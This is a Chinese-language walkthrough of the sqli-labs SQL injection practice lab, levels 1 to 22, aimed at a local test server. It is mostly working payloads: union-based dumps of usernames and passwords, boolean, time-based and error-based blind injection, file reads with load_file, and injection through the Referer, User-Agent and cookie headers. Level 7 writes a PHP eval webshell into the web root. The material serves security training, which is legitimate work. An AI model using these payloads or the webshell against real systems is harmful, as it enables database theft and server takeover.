sqli-labs通关
所借助材料:通关手册
less-1
这提示让我写个参数id,且要值类型为数字
?id=1
判断注入:参数后面随便输,异常就是说明数据代入了,存在注入。(如果404或者跳转,那说明该网站对输入进行检测,大概率没有注入)
随便输入字符,没有出现注入信息
查看源码,判断出 可使用单引号破坏sql语句结构
mysql_error() 函数返回上一个 MySQL 操作产生的文本错误信息。
?id=1后面加上 ‘
提交到 sql 中的 1’在经过 sql 语句构造后形成 ‘1’’ LIMIT 0,1, 多加了一个 ’ 。
SELECT * FROM users WHERE id='1'' LIMIT 0,1
如何 将多余的 ‘ 去掉呢? 尝试 ‘or 1=1–+
参考博文
使用–+放在最后注释多余部分,而mysql中的注释符为#和-- 却不能直接使用
原因是url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#
将#号改成url的编码%23就可以了
直接写#报错,未成功注释掉后面的代码
#改为%23即可
–问题
使用–+
对比上面–的效果,这里发现+号在语句中变成了空格。用来和后面的单引号分隔开,将后面的语句注释。
了解原理后便知道了–无法使用的原因,是因为–与后面的这个单引号连接在一起,无法形成有效的mysql语句。
?id=1' or '1'='1
Order by 对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3,超过 3 就会报错。 ‘order by 4–+的结果显示结果超出。
使用order by拼接在sql中,意思根据order by的列进行排序,且判断列数
?id=1' order by 4 --+
union 联合注入,union 的作用是将两个 sql 语句进行联合。
强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。union all 与 union 的区别是增加了去重的功能。
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,
当前一个语句选择的内容为空,我们这里就 将后面的语句的内容显示出来 )此处前台页面返 回了我们构造的 union 的数据。
展示?id=1' union select 1,2,3 --+
只显示了第一条语句的执行结果
通道位置并未显示
?id=-1' union select 1,2,3 --+
SELECT * FROM users WHERE id='-1' union select 1,2,3 -- '
union select只能查询两个表中共同都有的字段,如果一个字段在另外一个表中没有,就会报错
爆数据库
?id=-1' union select 1,database(),version() --+
SELECT * FROM users WHERE id='-1' union select 1,database(),version() -- ' LIMIT 0,1
mysql服务里,有个名为information_schema的数据库
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
6 rows in set (0.01 sec)
information_schema数据库里有个名为tables的表(即 information_schema.tables),存储了所有数据库的表信息
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
| INNODB_BUFFER_PAGE |
| INNODB_TRX |
| INNODB_BUFFER_POOL_STATS |
| INNODB_LOCK_WAITS |
| INNODB_CMPMEM |
| INNODB_CMP |
| INNODB_LOCKS |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_RESET |
| INNODB_BUFFER_PAGE_LRU |
+---------------------------------------+
40 rows in set (0.01 sec)
查询information_schema.tables表的信息,发现有个列名为table_schema,记录了每个表所在的数据库
TABLE_NAME 记录表名
mysql> select * from tables;
根据数据库 table_schema=‘security’
爆表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
SELECT * FROM users WHERE id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- ' LIMIT 0,1
爆 users 表的列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
SELECT * FROM users WHERE id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- ' LIMIT 0,1
爆数据
?id=-1' union select 1,username,password from users where id=3 --+
SELECT * FROM users WHERE id='-1' union select 1,username,password from users where id=3 -- ' LIMIT 0,1
less-2
与less-1大差不差
只不过是注入的时候去掉 ‘
?id=1
?id=1'
?id=1 --+
?id=1 order by 1,2,3 --+
?id=-1 union select 1,2,3 --+
?id=-1 union select 1,database(),version() --+
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
?id=-1 union select 1,username,password from users where id=2 --+
?id=1’的报错提示
源码
与less-1 ↓的区别
less-3
先用?id=1’探测
说明有括号,构造payload如下↓,成功
?id=1') --+
?id=1') order by 1,2,3 --+
?id=111') union select 1,2,3 --+
懒得写了
源码
less-4
单引号不行,就试试双引号
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
?id=1") --+
?id=1") order by 1,2,3 --+
?id=-1") union select 1,2,3 --+
?id=-1") union select 1,database(),version() --+
源码
less-5 盲注
sql语法结构和less-1相同,只是 即使正确也不再显示数据库信息了,只显示 You are in …
这就要盲注了
• 基于布尔 SQL 盲注
• 基于时间的 SQL 盲注
• 基于报错的 SQL 盲注
1:基于布尔 SQL 盲注----------构造逻辑判断
Sql注入截取字符串常用函数
mid(),substr(),left()
Sql用例:
(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。
Left()函数:Left()得到字符串左部指定个数的字符
ORD()函数,此函数为返回第一个字符的ASCII码,经常与上面的函数进行组合使用。
例如ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是‘r’
> ▲left(database(),1)>’s’ //left()函数 Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
> ▲ascii(substr((select table_name information_schema.tables where tables_schema =database()limit
> 0,1),1,1))=101 --+ //substr()函数,ascii()函数 Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。
> Ascii()将某个字符转换 为 ascii 值
> ▲ascii(substr((select database()),1,1))=98
> ▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
> //ORD()函数,MID()函数 Explain:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位 Ord()函数同 ascii(),
> 将字符转为 ascii 值
regexp 正则注入
格式:IF(Condition,A,B)
意义:当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
▲like 匹配注入 和上述的正则类似,mysql 在匹配的时候我们可以用 ike 进行匹配。
用法:select user() like ‘ro%’
2:基于报错的 SQL 盲注------构造 payload 让信息通过错误提示回显出来
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from
information_schema.columns group by a;
以上语句可以简化成如下的形式。
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union select !1) group by
concat(version(),floor(rand(0)*2))
如果 rand 被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(passwo rd,@a:=(@a+1)%2)
//explain:此处有三个点,一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的 重复,三是 group by 进行分组,大致原理为分组后数据计数时 重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需 要多试几次才行。
mysql CONCAT() 函数用于将多个字符串连接成一个字符串
语法:
CONCAT(str1,str2,…)
返回结果:
返回结果为连接参数产生的字符串。
如有任何一个参数为NULL ,则返回值为 NULL。
floor()函数是取整
rand函数用于产生0(包含)到1(不包含)的随机数,
rand有两种形式:
1、rand(),即无参数的,此时产生的随机数是随机的,不可重复的;
2、rand(n),即有参数数,如rand(2),相当于指定随机数生产的种子,那么这种情况产生的随机数是可重复的。
▲select exp(~(select * FROM(SELECT USER())a))
//double 数值类 型超出范围
//Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上
可以参考 exp 报错文章:http://www.cnblogs.com/lcamry/articles/5509124.html
▲select !(select * from (select user())x) -(ps:这是减号) ~0
//bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上
可以参考文章 bigint 溢出文章 http://www.cnblogs.com/lcamry/articles/5509112.html
▲extractvalue(1,concat(0x7e,(select @@version),0x7e)) se
//mysql 对 xml 数据进 行查询和修改的 xpath 函数,xpath 语法错误
▲updatexml(1,concat(0x7e,(select @@version),0x7e),1)
//mysql 对 xml 数据进行 查询和修改的 xpath 函数,xpath 语法错误
▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
//mysql 重复特性,此处重复了 version,所以报错。
3:基于时间的 SQL 盲注----------延时注入
▲If(ascii(substr(database(),1,1))>115,0,sleep(5))%23
//if 判断语句,条件为假, 执行 sleep Ps:
遇到以下这种利用 sleep()延时注入语句
select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8, 9,.'));
该语句意思是在 0-9 之间找版本号的第一位。
但是在我们实际渗透过程中,这种用法是不可 取的,因为时间会有网速等其他因素的影响,所以会影响结果的判断。
▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null)
FROM (select database() as current) as tb1;
//BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达 式。
可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执 行成功。
这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep() 函数进行注入。
开始闯关 ~ ~
说明数据库的版本号 第一位数字是5
当判断数据库版本号第一位数字为7时,则不能正确显示
说明数据库名称长度是8位
判断数据库名称的第一个字母,从a开始,正确的话,会显示you are in。。。 找到临界点s
依次判断数据库名称的每个字母
假设已经判断出数据库为security
下一步爆数据库里的表
?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80--+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit%20 0,1),1,1))>101--+
Ps:此处 table_schema 可以写成 =’security’,但是我们这里使用的 database(),是因 为此处 database()就是 security。此处同样的使用二分法进行测试,直到测试正确为止。 此处应该是 101,因为第一个表示 email。
如何获取第一个表的第二位字符呢? 使用 substr(**,2,1)即可。
那如何获取第二个表呢?是 limit 1,1
?id=1' and 1=(select 1 from information_sch ema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1) --+
less-6
?id=1"and left(version(),1)=5 --+
?id=1"and length(database())=8--+
和less-5差不多,就不写了
less-7 导入导出
提示会用到导入导出数据库的功能
1、load_file()导出文件
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
使用条件:
A、必须有权限读取并且文件必须完全可读
and (select count() from mysql.user)>0/ 如果结果返回正常,说明具有读写权限。
and (select count() from mysql.user)>0/ 返回错误,应该是管理员给数据库帐户降权
B、欲读取文件必须在服务器上
C、必须指定文件完整的路径
D、欲读取文件必须小于 max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。
比较难满足的 就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有 administrators 才能访问的文件,users 就别想 load_file 出来。
在实际的注入中,我们有两个难点需要解决:
1. 绝对物理路径
2. 构造有效的畸形语句 (报错爆出绝对路径)
在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors = on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务 器的安全将受到严重的威胁。
示例:
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))
利用 hex()将文件内容导出来,尤其是 smb 文件时可以使用。
-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) Explain:“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的 ASCII 代码
-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
Explain:“c:/boot.ini”的 16 进制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,1,load_file(c:\boot.ini)
Explain:路径里的/用 **\**代替
mysql注入load_file常用路径
os-shell解析
开始less-7 ~
利用文件导入的方式进行注入
?id=1')) or 1=1 --+
读写权限测试:id=1’)) and (select count(*) from mysql.user)>0 --+ 如果返回正常则有读取权限
我这里没有读写权限
在my.ini文件[mysqld]的后面加上secure_file_priv=‘’,然后重启phpstudy即可
权限搞定,成功写入文件
写木马
?id=1')) union select 1,2,'<?php @eval($_post[“mima”])?>' into outfile "D:\\phpstudy\\WWW\\sqlilabs\\Less-7\\mima.php" --+
数据库
?id=1')) union select 1,user(),database() into outfile "D:\\phpstudy\\WWW\\sqlilabs\\Less-7\\mima.txt" --+
表名
?id=1')) union select 1,2,table_name from information_schema.tables where table_schema='security'%20 into outfile "D:\\phpstudy\\WWW\\sqlilabs\\Less-7\\mima111.txt" --+
一句话木 马已写入,可通过webshell工具连接
less-8
与less-5相比,没有了sql报错提示,就没法报错注入了,使用延时注入,布尔注入
说明数据库名的第一个元素为s
?id=1’and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
由此可以猜测出数据库名的第二个字母为e,由此方法推测出后面的字母
?id=1' and if (ascii(substr(database(),2,1))=101,1,sleep(5)) --+
猜用户
?id=1‘ and (select user() like ’%ro%‘)>0 --+
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80 --+
less-9
?id=1' and if(ascii(substr((select table_name from information schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))–+
(由此猜测数据库下的第一个数据表名的第一个字母为e)
(正确的时 候直接返回,不正确的时候等待 5 秒钟,只贴正确的)
猜测数据库:
http://127.0.0.1/sqllib/Less-9/?id=1’ and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
说明第一位是 s (ascii 码是 115)
http://127.0.0.1/sqllib/Less-9/?id=1’ and If(ascii(substr(database(),2,1))=101,1,sleep(5))–+
说明第一位是 e (ascii 码是 101)
… 以此类推,我们知道了数据库名字是 security
猜测 security 的数据表:
http://127.0.0.1/sqllib/Less-9/?id=1’and If(ascii(substr((select table_name from information_s chema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))–+
猜测第一个数据表的第一位是 e
,…依次类推,得到 emails
http://127.0.0.1/sqllib/Less-9/?id=1’and If(ascii(substr((select table_name from information_s chema.tables where table_schema=‘security’ limit 1,1),1,1))=114,1,sleep(5))–+
猜测第二个数据表的第一位是 r
,…依次类推,得到 referers …
再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users
猜测 users 表的列:
http://127.0.0.1/sqllib/Less-9/?id=1’and If(ascii(substr((select column_name from information _schema.columns where table_name=‘users’ limit 0,1),1,1))=105,1,sleep(5))–+
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password
猜测 username 的值:
http://127.0.0.1/sqllib/Less-9/?id=1’and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))–+
猜测 username 的第一行的第一位
以此类推,我们得到数据库 username,password 的所有内容
less-11 post注入
Username:1admin’union select version(),database()#
password:1(任意密码)
less-12
admin") or 1=1#
使用order by 语句判断这个表有多少列,order by 2页面回显正常,order by3页面回显不正常,说明此表有2列。
使用 union 联合查询语句查看页面是否有显示位。(我猜显示位就是用户名和密码
") union select 1,2 #
") union select 1,database() #
") union select 1,group_concat(table_name) from information_schema.tables where table_schema = ‘security’ #
") union select 1,group_concat(column_name) from information_schema.columns where table_name = ‘users’ #
less-13 盲注
本关不显示登录信息,只能给你一个是否登录成功的返回数据
admin’) or 1=1#
admin’)and left(database(),1)>‘a’#
返回正确页面
admin’)and left(database(),1)>‘a’#
返回错误页面
在按位进行猜解的过程中,可以利用二分法,可以有效的降低尝试次 数
less-14
admin"and left(database(),1)>‘a’#
admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
less-15
本关没有错误提示,那么我们只能靠猜测进行注入。
admin’and If(ascii(substr(database(),1,1))=115,1,sleep(5))#
正确的时候可以直接登录,不正确的时候延时 5 秒。
less-16
admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#
less-17 update
修改密码的操作,update语句
增删改函数介绍
开始
passwd=11’and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
11’and If(ascii(substr(database(),1,1))=115,1,sleep(5))#
less-18
对 uname 和 passwd 进行了 check_input()函数的处理,所以我们在输入 uname 和 passwd 上 进行注入是不行的,但是将 useragent 和 ip 插入到数据库中,useragent 修改较为方便,我们从 useragent 入手
将 referer 修改为’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and ‘1’='1
less-20
我们修改 cookie 为 uname=admin1’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
less-21
本关对 cookie 进行了 base64 的处理,其他的处理流程和 less20 是一样的
对 uname 进行了 (‘uname’)的处理) Cookie: uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2 VkaXIpLDB4N2UpKSM=
less-22
本关和 less20、less21 是一致的,我们可以从源代码中看到这里对 uname 进行了”uname”的 处理,可以构造 payload: admin1"and extractvalue(1,concat(0x7e,(select database()),0x7e))# Payload 进行 base64 编码后,修改 cookie 再进行提交